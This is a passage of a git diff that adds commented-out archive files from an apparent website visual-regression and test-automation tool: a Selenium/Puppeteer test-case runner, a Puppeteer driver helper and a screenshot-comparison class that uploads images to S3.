exception = None +# passed = True +# self.update_testcase_s( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'scrolling -> {step["action"]["value"]}') + +# # scrolling using plain JavaScript +# self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});') +# time.sleep(int(self.configs.get('min_wait_time', 3))) + +# # get image +# image = self.save_screenshot_s() + +# except Exception as e: +# image = self.save_screenshot_s() +# exception = self.format_exception_s(e) +# passed = False + +# self.update_testcase_s( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + + +# if step['action']['type'] == 'click': +# exception = None +# passed = True +# self.update_testcase_s( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'clicking element -> {step["action"]["element"]}') +# # using selenium, find and click on the 'element' +# selector = self.format_element_s(step["action"]["element"]) +# element = self.driver.find_element(By.CSS_SELECTOR, selector) + +# # scrolling to element using plain JavaScript +# self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') +# self.driver.execute_script("arguments[0].scrollIntoView();", element) +# self.driver.execute_script("window.scrollBy(0, -100);") +# time.sleep(int(self.configs.get('min_wait_time', 3))) + +# # clicking element +# element.click() +# time.sleep(int(self.configs['min_wait_time'])) +# image = self.save_screenshot_s() + +# except Exception as e: +# image = self.save_screenshot_s() +# exception = self.format_exception_s(e) +# passed = False + +# self.update_testcase_s( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['action']['type'] == 'change': +# exception = None +# passed = True +# self.update_testcase_s( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'changing element to value -> {step["action"]["value"]}') +# # using selenium, find and change the 'element'.value +# selector = self.format_element_s(step["action"]["element"]) +# element = self.driver.find_element(By.CSS_SELECTOR, selector) + +# # scrolling to element and back down a bit +# self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') +# self.driver.execute_script("arguments[0].scrollIntoView();", element) +# self.driver.execute_script("window.scrollBy(0, -100);") +# time.sleep(int(self.configs.get('min_wait_time', 3))) + +# # changing value of element +# value = step["action"]["value"] +# element.send_keys(value) +# time.sleep(int(self.configs['min_wait_time'])) +# image = self.save_screenshot_s() + +# except Exception as e: +# image = self.save_screenshot_s() +# exception = self.format_exception_s(e) +# passed = False + +# self.update_testcase_s( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['action']['type'] == 'keyDown': +# exception = None +# passed = True +# self.update_testcase_s( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'keyDown action for key -> {step["action"]["key"]}') +# # getting last known element +# n = (i - 1) +# elm = None +# while True: +# elm = self.steps[n]['action']['element'] +# if elm != None and len(elm) != 0: +# break +# n -= 1 +# selector = self.format_element_s(elm) + +# # using selenium, find elemenmtn and send 'Key' event +# selector = self.format_element_s(step["action"]["element"]) +# element = self.driver.find_element(By.CSS_SELECTOR, selector) + +# # scrolling to element and back down a bit +# self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') +# self.driver.execute_script("arguments[0].scrollIntoView();", element) +# self.driver.execute_script("window.scrollBy(0, -100);") +# time.sleep(int(self.configs.get('min_wait_time', 3))) + +# # using selenium, press the selected key +# element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"])) +# time.sleep(int(self.configs['min_wait_time'])) +# image = self.save_screenshot_s() + +# except Exception as e: +# image = self.save_screenshot_s() +# exception = self.format_exception_s(e) +# passed = False + +# self.update_testcase_s( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['assertion']['type'] == 'match': +# exception = None +# passed = True +# self.update_testcase_s( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}') +# # using selenium, find elememt and assert if element.text == assertion.text +# selector = self.format_element_s(step["action"]["element"]) +# element = self.driver.find_element(By.CSS_SELECTOR, selector) + +# # scrolling to element and back down a bit +# self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') +# self.driver.execute_script("arguments[0].scrollIntoView();", element) +# self.driver.execute_script("window.scrollBy(0, -100);") +# time.sleep(int(self.configs.get('min_wait_time', 3))) + +# # gettintg elem text +# elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent') +# elementText = elementText.strip() +# print(f'elementText => {elementText}') +# print(f'value => {step["assertion"]["value"]}') + +# # assert text +# assert elementText == step["assertion"]["value"] +# image = self.save_screenshot_s() + +# except Exception as e: +# image = self.save_screenshot_s() +# exception = self.format_exception_s(e) +# passed = False + +# self.update_testcase_s( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['assertion']['type'] == 'exists': +# exception = None +# passed = True +# self.update_testcase_s( +# index=i, type='assertion', +# start_time=datetime.now() +# ) + +# try: +# print(f'asserting that element -> {step["assertion"]["element"]} exists') +# # using puppeteer, find elememt and assert it exists +# selector = self.format_element_s(step["action"]["element"]) +# element = self.driver.find_element(By.CSS_SELECTOR, selector) + +# # scrolling to element and back down a bit +# self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') +# self.driver.execute_script("arguments[0].scrollIntoView();", element) +# self.driver.execute_script("window.scrollBy(0, -100);") + +# # scrolling to element using plain JavaScript +# self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') +# element = self.driver.find_element(By.CSS_SELECTOR, selector) +# image = self.save_screenshot_s() + +# except Exception as e: +# image = self.save_screenshot_s() +# exception = self.format_exception_s(e) +# passed = False + +# self.update_testcase_s( +# index=i, type='assertion', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# i += 1 + +# self.update_testcase_s( +# time_completed=datetime.now() +# ) +# quit_driver(driver=self.driver) +# print('-- testcase run complete --') + +# if not self.testcase.passed and self.testcase.configs.get('create_issue'): +# print('generating new Issue...') +# Issuer(testcase=self.testcase).build_issue() + +# return None + + + + +# async def run_p(self) -> None: +# """ +# Runs the self.testcase using pupeteer as the driver + +# Returns -> None +# """ + +# print(f'beginning testcase for {self.site_url} \ +# using case {self.case_name}') + +# # initate driver +# self.driver = await driver_p_init() + +# # init page obj +# self.page = await self.driver.newPage() + +# # setting up page with configs +# sizes = self.configs['window_size'].split(',') +# is_mobile = False +# if self.configs['device'] == 'mobile': +# is_mobile = True + +# self.page_options = { +# 'waitUntil': 'networkidle0', +# 'timeout': int(self.configs['max_wait_time'])*1000 +# } + +# print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s') + +# viewport = { +# 'width': int(sizes[0]), +# 'height': int(sizes[1]), +# 'isMobile': is_mobile, +# } + +# userAgent = ( +# "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ +# (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" +# ) + +# emulate_options = { +# 'viewport': viewport, +# 'userAgent': userAgent +# } + +# if self.configs['device'] == 'mobile': +# await self.page.emulate(emulate_options) +# else: +# await self.page.setViewport(viewport) + + +# i = 0 +# for step in self.steps: +# print(f'-- running step #{i+1} --') + +# # adding catch if nav is not first +# if i == 0 and step['action']['type'] != 'navigate': +# print(f'navigating to {self.site_url} before first step') +# # using puppeteer, navigate to site root path & wait for page to load +# await self.page.goto(f'{self.site_url}', self.page_options) +# time.sleep(int(self.configs['min_wait_time'])) + +# if step['action']['type'] == 'navigate': +# exception = None +# passed = True +# await self.update_testcase( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'navigating to {self.site_url}{step["action"]["path"]}') +# # using puppeteer, navigate to requested path & wait for page to load +# await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options) +# time.sleep(int(self.configs['min_wait_time'])) +# image = await self.save_screenshot(page=self.page) + +# except Exception as e: +# image = await self.save_screenshot(page=self.page) +# exception = await self.format_exception(e) +# passed = False + + +# await self.update_testcase( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['action']['type'] == 'scroll': +# exception = None +# passed = True +# await self.update_testcase( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'scrolling -> {step["action"]["value"]}') + +# # scrolling using plain JavaScript +# await self.page.evaluate(f'window.scrollTo({step["action"]["value"]});') +# time.sleep(int(self.configs['min_wait_time'])) + +# # get image +# image = await self.save_screenshot(page=self.page) + +# except Exception as e: +# image = await self.save_screenshot(page=self.page) +# exception = await self.format_exception(e) +# passed = False + +# await self.update_testcase( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['action']['type'] == 'click': +# exception = None +# passed = True +# await self.update_testcase( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'clicking element -> {step["action"]["element"]}') +# # using puppeteer, find and click on the 'element' +# selector = await self.format_element(step["action"]["element"]) +# await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) +# # scrolling to element using plain JavaScript +# await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') +# element = await self.page.J(selector) +# await element.click() +# time.sleep(int(self.configs['min_wait_time'])) +# image = await self.save_screenshot(page=self.page) + +# except Exception as e: +# image = await self.save_screenshot(page=self.page) +# exception = await self.format_exception(e) +# passed = False + +# await self.update_testcase( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['action']['type'] == 'change': +# exception = None +# passed = True +# await self.update_testcase( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'changing element to value -> {step["action"]["value"]}') +# # using puppeteer, find and click on the 'element' +# if step["action"]["element"] != (None or ''): +# selector = await self.format_element(step["action"]["element"]) +# await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) +# # scrolling to element using plain JavaScript +# await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') +# element = await self.page.J(selector) +# await element.click(clickCount=3) +# await self.page.keyboard.type(step["action"]["value"]) +# time.sleep(int(self.configs['min_wait_time'])) +# image = await self.save_screenshot(page=self.page) + +# except Exception as e: +# image = await self.save_screenshot(page=self.page) +# exception = await self.format_exception(e) +# passed = False + +# await self.update_testcase( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['action']['type'] == 'keyDown': +# exception = None +# passed = True +# await self.update_testcase( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'keyDown action for key -> {step["action"]["key"]}') +# # using puppeteer, press the selected key +# await self.page.keyboard.press(step['action']['key']) +# time.sleep(int(self.configs['min_wait_time'])) +# image = await self.save_screenshot(page=self.page) + +# except Exception as e: +# image = await self.save_screenshot(page=self.page) +# exception = await self.format_exception(e) +# passed = False + +# await self.update_testcase( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['assertion']['type'] == 'match': +# exception = None +# passed = True +# await self.update_testcase( +# index=i, type='assertion', +# start_time=datetime.now() +# ) + +# try: +# print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}') +# # using puppeteer, find elememt and assert if element.text == assertion.text +# selector = await self.format_element(step["assertion"]["element"]) +# await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) +# # scrolling to element using plain JavaScript +# await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') +# elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent') +# elementText = elementText.strip() +# print(f'elementText => {elementText}') +# print(f'value => {step["assertion"]["value"]}') +# assert elementText == step["assertion"]["value"] +# image = await self.save_screenshot(page=self.page) + +# except Exception as e: +# image = await self.save_screenshot(page=self.page) +# exception = await self.format_exception(e) +# passed = False + +# await self.update_testcase( +# index=i, type='assertion', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# if step['assertion']['type'] == 'exists': +# exception = None +# passed = True +# await self.update_testcase( +# index=i, type='assertion', +# start_time=datetime.now() +# ) + +# try: +# print(f'asserting that element -> {step["assertion"]["element"]} exists') +# # using puppeteer, find elememt and assert it exists +# selector = await self.format_element(step["assertion"]["element"]) +# await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) +# await self.page.J(selector) +# image = await self.save_screenshot(page=self.page) + +# except Exception as e: +# image = await self.save_screenshot(page=self.page) +# exception = await self.format_exception(e) +# passed = False + +# await self.update_testcase( +# index=i, type='assertion', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + +# i += 1 +# await self.update_testcase( +# time_completed=datetime.now() +# ) +# await self.driver.close() +# print('-- testcase run complete --') + +# if not self.testcase.passed and self.testcase.configs.get('create_issue'): +# print('generating new Issue...') +# Issuer(testcase=self.testcase).build_issue() + +# return None + + + + + + + \ No newline at end of file diff --git a/app/api/utils/archive/driver_p.py b/app/api/utils/archive/driver_p.py new file mode 100644 index 00000000..42b89e6a --- /dev/null +++ b/app/api/utils/archive/driver_p.py @@ -0,0 +1,263 @@ +# from pyppeteer import launch +# from scanerr import settings +# import time, os, sys, datetime + + + + + + +# async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object: +# """ +# Starts a new puppeteer driver instance + +# Expects: { +# 'window_size' : str, +# 'wait_time' : int +# } + +# Returns -> driver object +# """ + +# # parsing window sizes +# sizes = window_size.split(',') + +# # setting browser options +# options = { +# 'executablePath': os.environ.get('CHROME_BROWSER'), +# 'args': [ +# '--no-sandbox', +# '--disable-dev-shm-usage', +# '--force-device-scale-factor=0.5', +# 'ignore-certificate-errors', +# '--hide-scrollbars', +# f'--window-size={window_size}', +# ], +# 'defaultViewport': { +# 'width': int(sizes[0]), +# 'height': int(sizes[1]), +# }, +# # 'timeout': wait_time * 1000 +# } + +# # launching driver +# driver = await launch( +# options=options, +# headless=True, +# handleSIGINT=False, +# handleSIGTERM=False, +# handleSIGHUP=False +# ) + +# # return driver +# return driver + + + + +# async def interact_with_page(page: object=None) -> object: +# # simulate mouse movement +# # and returns the page object +# await page.mouse.move(0, 0) +# await page.mouse.move(0, 50) +# return page + + + + +# async def wait_for_page(page: object=None, max_wait_time: int=30) -> object: +# """ +# Expects the puppeteer page instance and waits +# for either the page to fully load or the max_wait_time +# to expire before returning. + +# Expects: { +# 'page' : object, +# 'max_wait_time' : int +# } + +# Returns -> page +# """ + +# print(f'waiting for page load or {str(max_wait_time)} seconds') + +# timeout = 0 +# page_state = 'loading' + +# while int(timeout) < int(max_wait_time) and page_state != 'complete': +# page_state = await page.evaluate('document.readyState') +# print(f'document state is {page_state}') +# time.sleep(1) +# timeout += 1 + +# return page + + + + +# async def driver_test() -> None: +# """ +# Spins up a puppeteer driver instance and +# tests to ensure it can access the browser and internet + +# Returns -> None +# """ + +# print("Testing puppeteer instalation and integration...") +# message = 'Puppeteer was unable to start\n\n' +# status = 'Failed' + +# # testing puppeteer +# try: +# driver = await driver_init() +# page = await driver.newPage() +# await page.goto('https://google.com', {'waitUntil': 'networkidle0'}) +# await interact_with_page(page) +# title = await page.title() +# assert title == 'Google' +# if title == 'Google': +# status = 'Success' +# message = 'Puppeteer installed and working \N{check mark} \n' + +# # log exception +# except Exception as e: +# print(e) + +# # logging test results +# sys.stdout.write( +# '--- ' + status + ' ---\n'+ message +# ) + +# # quiting driver +# try: +# await driver.close() +# except: +# pass + +# return None + + + + +# async def get_data(url: str=None, configs: dict=None) -> dict: +# """ +# Using the puppeteer driver, navigates to the passed +# 'url' and records the page source and any +# present console errors & warnings + +# Expects: { +# url : str, +# configs : dict +# } + +# Returns -> data: { +# 'html' : str, +# 'logs' : dict, +# } +# """ + +# # initing the driver +# sizes = configs['window_size'].split(',') +# driver = await driver_init(window_size=configs['window_size']) +# page = await driver.newPage() + +# # setting driver configs +# page_options = { +# 'waitUntil': 'networkidle0', +# # 'timeout': configs['max_wait_time']*1000 +# } +# viewport = { +# 'width': int(sizes[0]), +# 'height': int(sizes[1]), +# } +# userAgent = ( +# "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ +# (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36" +# ) +# await page.setViewport(viewport) +# if configs['device'] == 'mobile': +# await page.setUserAgent(userAgent) + +# # defining logs +# logs = [] + +# def record_logs(log): +# # helper method to record console +# # logs in the issues tab +# if log.type == 'error': +# if '.js' in log.text: +# source = 'javascript' +# elif 'http' in log.text: +# source = 'network' +# else: +# source = 'other' +# log_obj = { +# "level": "SEVERE", +# "source": source, +# "message": str(log.text), +# "timestamp": int(datetime.datetime.now().timestamp() * 1000) +# } +# logs.append(log_obj) +# elif log.type == 'warning': +# if '.js' in log.text: +# source = 'javascript' +# elif 'http' in log.text: +# source = 'network' +# else: +# source = 'other' +# log_obj = { +# "level": "WARNING", +# "source": source, +# "message": str(log.text), +# "timestamp": int(datetime.datetime.now().timestamp() * 1000) +# } +# logs.append(log_obj) + +# def record_network(request): +# # helper method to record console +# # network issues in the issues tab +# log_obj = { +# "level": "SEVERE", +# "source": "network", +# "message": f'{request.failure()["errorText"]} {request.url}', +# "timestamp": int(datetime.datetime.now().timestamp() * 1000) +# } +# logs.append(log_obj) + +# def record_error(error): +# # helper method to record console +# # page errors in the issues tab +# err = str(error).split(' at ')[0] +# log_obj = { +# "level": "SEVERE", +# "source": "javascript", +# "message": f'{err}', +# "timestamp": int(datetime.datetime.now().timestamp() * 1000) +# } +# logs.append(log_obj) + +# # getting console logs, warnings, and errors +# page.on('console', lambda log : record_logs(log)) +# page.on('requestfailed', lambda request : record_network(request)) +# page.on('pageerror', lambda error : record_error(error)) + +# # navigate to requested url +# await page.goto(url, page_options) + +# # await page.waitForNavigation(navWaitOpt) +# await wait_for_page(page=page) +# await interact_with_page(page) +# html = await page.content() + +# # quitting driver +# await driver.close() + +# # returning data +# data = { +# 'html': html, +# 'logs': logs, +# } + +# return data + + diff --git a/app/api/utils/archive/imager.py b/app/api/utils/archive/imager.py new file mode 100644 index 00000000..393bfff4 --- /dev/null +++ b/app/api/utils/archive/imager.py @@ -0,0 +1,797 @@ +# from .driver_s import driver_init, driver_wait, quit_driver +# from .driver_p import driver_init as driver_init_p, wait_for_page +# from ..models import Site, Scan, Test, Mask +# from skimage.metrics import structural_similarity +# from scanerr import settings +# from PIL import Image as I, ImageChops, ImageStat +# from datetime import datetime +# from asgiref.sync import sync_to_async +# import time, os, sys, json, uuid, boto3, \ +# statistics, shutil, numpy, cv2 + + + + + + +# class Imager(): +# """ +# High level Image handler used to compare screenshots of +# a website. + +# Also known as VRT or Visual Regression Testing. +# Contains three methods scan_s(), scan_p(), test(). +# The _p appendage denotes using Puppeteer as the webdriver +# and the _s appendage denotes using Selenium as the webdriver: + +# def scan_s(driver=None) -> using selenium +# grabs multiple screenshots of the website +# and uploads them to s3. + +# def scan_p() -> using puppeteer +# grabs multiple screenshots of the website +# and uploads them to s3. + +# def test(test=) -> compares each +# screenshot in the two scans and records +# a score out of 100% + +# """ + + + + +# def __init__(self, scan: object=None, configs: dict=None): + +# # main scan object +# self.scan = scan + +# # main configs object +# self.configs = configs + +# # main image_array for scans +# self.image_array = [] + +# # setup boto3 configurations +# self.s3 = boto3.client( +# 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), +# aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), +# region_name=str(settings.AWS_S3_REGION_NAME), +# endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) +# ) + +# # scripts +# self.pause_video_script = ( +# """ +# document.querySelectorAll('video').forEach(vid => vid.pause()); +# document.querySelectorAll('video').forEach(vid => vid.currentTime=0); +# """ +# ) +# self.set_jquery = ( +# """ +# var jq = document.createElement('script'); +# jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; +# document.getElementsByTagName('head')[0].appendChild(jq); +# """ +# ) +# self.pause_animations_script = ( +# """ +# const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag'); +# const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}'); +# styleElement.appendChild(styleTagCSSes); +# document.head.appendChild(styleElement); +# """ +# ) + + + + +# def check_timeout(self, timeout: int, start_time: str) -> bool: +# """ +# Checks to see if the current time exceedes the alotted timeout. + +# Returns -> True if timeout exceeded +# """ +# current = datetime.now() +# diff = current - start_time +# if diff.total_seconds() >= int(timeout): +# print('exceeded timeout') +# return True +# else: +# return False + + + + +# def add_images(self, im1: object, im2: object) -> object: +# """ +# Joins img1 and im2 vertically and saves as "new_img" + +# Returns -> new_img +# """ +# im1 = I.open(im1) +# im2 = I.open(im2) +# new_img = I.new('RGB', (im1.width, im1.height + im2.height)) +# new_img.paste(im1, (0, 0)) +# new_img.paste(im2, (0, im1.height)) +# return new_img + + + + +# def save_image(self, pic_id: str, image: object) -> None: +# """ +# Upload image to s3, save info as image_obj, +# add image_obj to image_array, & remove image file + +# Returns -> None +# """ +# remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png' +# root_path = settings.AWS_S3_URL_PATH +# image_url = f'{root_path}/{remote_path}' + +# # upload to s3 +# with open(image, 'rb') as data: +# self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), +# remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} +# ) + +# # create image obj and add to list +# img_obj = { +# "index": 0, +# "id": str(pic_id), +# "url": image_url, +# "path": remote_path, +# } +# self.image_array.append(img_obj) + +# print(f'adding {img_obj["url"]} to image_array') + +# # remove local copy +# os.remove(image) + +# return None + + + + +# def scan_s(self, driver: object=None) -> list: +# """ +# Grabs full length screenshots of the website and uploads +# them to s3. + +# Expects: { +# 'driver': object +# } + +# Returns -> self.image_array list +# """ + +# # initialize driver if not passed as param +# driver_present = True +# if not driver: +# driver = driver_init() +# driver_present = False + +# # request page_url +# driver.get(self.scan.page.page_url) + +# # waiting for network requests to resolve +# driver_wait( +# driver=driver, +# interval=int(self.configs.get('interval', 5)), +# min_wait_time=int(self.configs.get('min_wait_time', 10)), +# max_wait_time=int(self.configs.get('max_wait_time', 30)), +# ) + +# # defining browser demesions +# sizes = self.configs.get('window_size', '1920,1080').split(',') + +# # getting full_page_height +# if self.configs.get('auto_height', True): +# full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;") +# sizes = self.configs.get('window_size', '1920,1080').split(',') +# driver.set_window_size(int(sizes[0]), int(full_page_height)) + + +# if self.configs.get('disable_animations') == True: +# # inserting animation pausing script +# try: +# driver.execute_script(self.pause_animations_script) +# except: +# print('cannot pause animations') + +# # inserting video pausing scripts +# try: +# driver.execute_script(self.pause_video_script) +# except: +# print('cannnot pause videos') + +# # mask all listed ids +# if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '': +# ids = self.configs.get('mask_ids').split(',') +# for id in ids: +# try: +# driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") +# print('masked an element') +# except: +# print('cannot find element via id provided') + +# # mask all Global mask ids that are active +# active_masks = Mask.objects.filter(active=True) +# if len(active_masks) != 0: +# for mask in active_masks: +# try: +# driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") +# print('masked an element') +# except: +# print('cannot find element via global mask id provided') + +# # scroll one frame at a time and capture screenshot +# final_img = None +# index = 0 +# last_height = -1 +# bottom = False +# start_time = datetime.now() +# while not bottom: + +# # checking if maxed out time +# if self.check_timeout(self.configs.get('timeout', 300), start_time): +# break + +# # scroll single frame +# if index != 0: +# driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") +# time.sleep(int(self.configs.get('min_wait_time', 10))) + +# # get current position and compare to previous +# new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") +# height_diff = new_height - last_height + +# print(f'new_height => {new_height} | height_diff => {height_diff}') + +# if height_diff > 20: +# last_height = new_height +# pic_id = uuid.uuid4() + +# # waiting for network requests to resolve +# driver_wait( +# driver=driver, +# interval=int(self.configs.get('interval', 5)), +# min_wait_time=int(self.configs.get('min_wait_time', 10)), +# max_wait_time=int(self.configs.get('max_wait_time', 30)), +# ) + +# # get screenshot +# driver.save_screenshot(f'{pic_id}.png') +# image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + +# # resizing image to remove duplicate portions +# img = I.open(image) +# width, height = img.size +# left = 0 +# top = height - (height_diff/2) +# right = width +# _bottom = height +# new_img = img.crop((left, top, right, _bottom)) +# new_img.save(image, quality=100) + +# # adding new image to bottom of existing image (if not index = 0) +# pic_id_2 = uuid.uuid4() +# if index != 0 and final_img is not None: +# self.add_images(final_img, image).save(f'{pic_id_2}.png') +# os.remove(final_img) +# final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') +# else: +# I.open(image).save(f'{pic_id_2}.png') +# final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + +# os.remove(image) +# index += 1 + +# else: +# bottom = True + +# # saving image +# self.save_image(pic_id=pic_id_2, image=final_img) + +# # clean up +# if not driver_present: +# quit_driver(driver) + +# # return images +# return self.image_array + + + + +# async def scan_p(self) -> list: +# """ +# Using Puppeteer, grabs full length screenshots of the website and uploads +# them to s3. + +# Returns -> self.image_array list +# """ + +# @sync_to_async +# def get_page(): +# _page = self.scan.page +# return _page + +# # getting Scanerr `page` object +# _page = await get_page() + +# # starting up puppeteer driver +# driver = await driver_init_p( +# window_size=self.configs.get('window_size', '1920,1080'), +# wait_time=int(self.configs.get('max_wait_time', 30)) +# ) + +# # initing new puppeteer page +# page = await driver.newPage() + +# # setting configs for driver +# sizes = self.configs.get('window_size', '1920,1080').split(',') +# is_mobile = False +# if self.configs.get('device') == 'mobile': +# is_mobile = True + +# page_options = { +# 'waitUntil': 'networkidle0', +# # 'timeout': int(self.configs.get('max_wait_time', 30))*1000 +# } + +# # requesting page_url to get height of +# await page.goto(_page.page_url, page_options) + +# # waiting for page to load +# await wait_for_page(page=page) + +# # getting full page_height +# page_height = int(sizes[1]) +# if self.configs.get('auto_height', True): +# page_height = await page.evaluate("document.scrollingElement.scrollHeight;") + +# # setting more driver configs +# viewport = { +# 'width': int(sizes[0]), +# 'height': int(page_height), +# 'isMobile': is_mobile, +# } +# userAgent = ( +# "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ +# (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" +# ) +# emulate_options = { +# 'viewport': viewport, +# 'userAgent': userAgent +# } + +# # setting device type +# if self.configs.get('device') == 'mobile': +# await page.emulate(emulate_options) +# else: +# await page.setViewport(viewport) + +# # requesting page_url +# await page.goto(_page.page_url, page_options) + +# # handling anamations +# if self.configs.get('disable_animations') == True: +# try: +# # inserting animation pausing script +# await page.evaluate(self.pause_animations_script) +# except: +# print('cannot pause animations') +# try: +# # pausing videos +# videos = await page.querySelectorAll('video') +# for vid in videos: +# await page.evaluate('(vid) => vid.pause()', vid) +# except Exception as e: +# print(e) + +# # mask all listed ids +# if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '': +# ids = self.configs.get('mask_ids').split(',') +# for id in ids: +# try: +# await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") +# print('masked an element') +# except: +# print('cannot find element via id provided') + + +# # mask all Global mask ids that are active +# @sync_to_async +# def get_active_global_masks(): +# masks = Mask.objects.filter(active=True) +# active_masks = [] +# if len(masks) > 0: +# for mask in masks: +# active_masks.append(mask.id) +# return active_masks + +# active_masks = await get_active_global_masks() + +# for mask in active_masks: +# try: +# await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") +# print('masked an element') +# except: +# print('cannot find element via global mask id provided') + +# @sync_to_async +# def save_image(*args, **kwargs): +# self.save_image(pic_id=pic_id, image=final_img) + +# # scroll one frame at a time and capture screenshot +# final_img = None +# index = 0 +# last_height = -1 +# bottom = False +# start_time = datetime.now() +# while not bottom: + +# # checking if maxed out time +# if self.check_timeout(int(self.configs.get('timeout', 300)), start_time): +# break + +# # scroll single frame +# if index != 0: +# await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") +# time.sleep(int(self.configs.get('min_wait_time', 10))) + +# # get current position and compare to previous +# new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") +# height_diff = new_height - last_height +# if height_diff > 20: +# last_height = new_height +# pic_id = uuid.uuid4() + +# # interact with and wait for page to load +# await page.mouse.move(0, 0) +# await page.mouse.move(0, 100) +# time.sleep(int(self.configs.get('min_wait_time', 10))) +# await wait_for_page(page=page) + +# # get screenshot +# await page.screenshot({'path': f'{pic_id}.png'}) +# image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + +# # resizing image to remove duplicate portions +# img = I.open(image) +# width, height = img.size +# left = 0 +# top = height - (height_diff) +# right = width +# _bottom = height +# new_img = img.crop((left, top, right, _bottom)) +# new_img.save(image, quality=100) + +# # adding new image to bottom of existing image (if not index = 0) +# pic_id_2 = uuid.uuid4() +# if index != 0 and final_img is not None: +# self.add_images(final_img, image).save(f'{pic_id_2}.png') +# os.remove(final_img) +# final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') +# else: +# I.open(image).save(f'{pic_id_2}.png') +# final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + +# 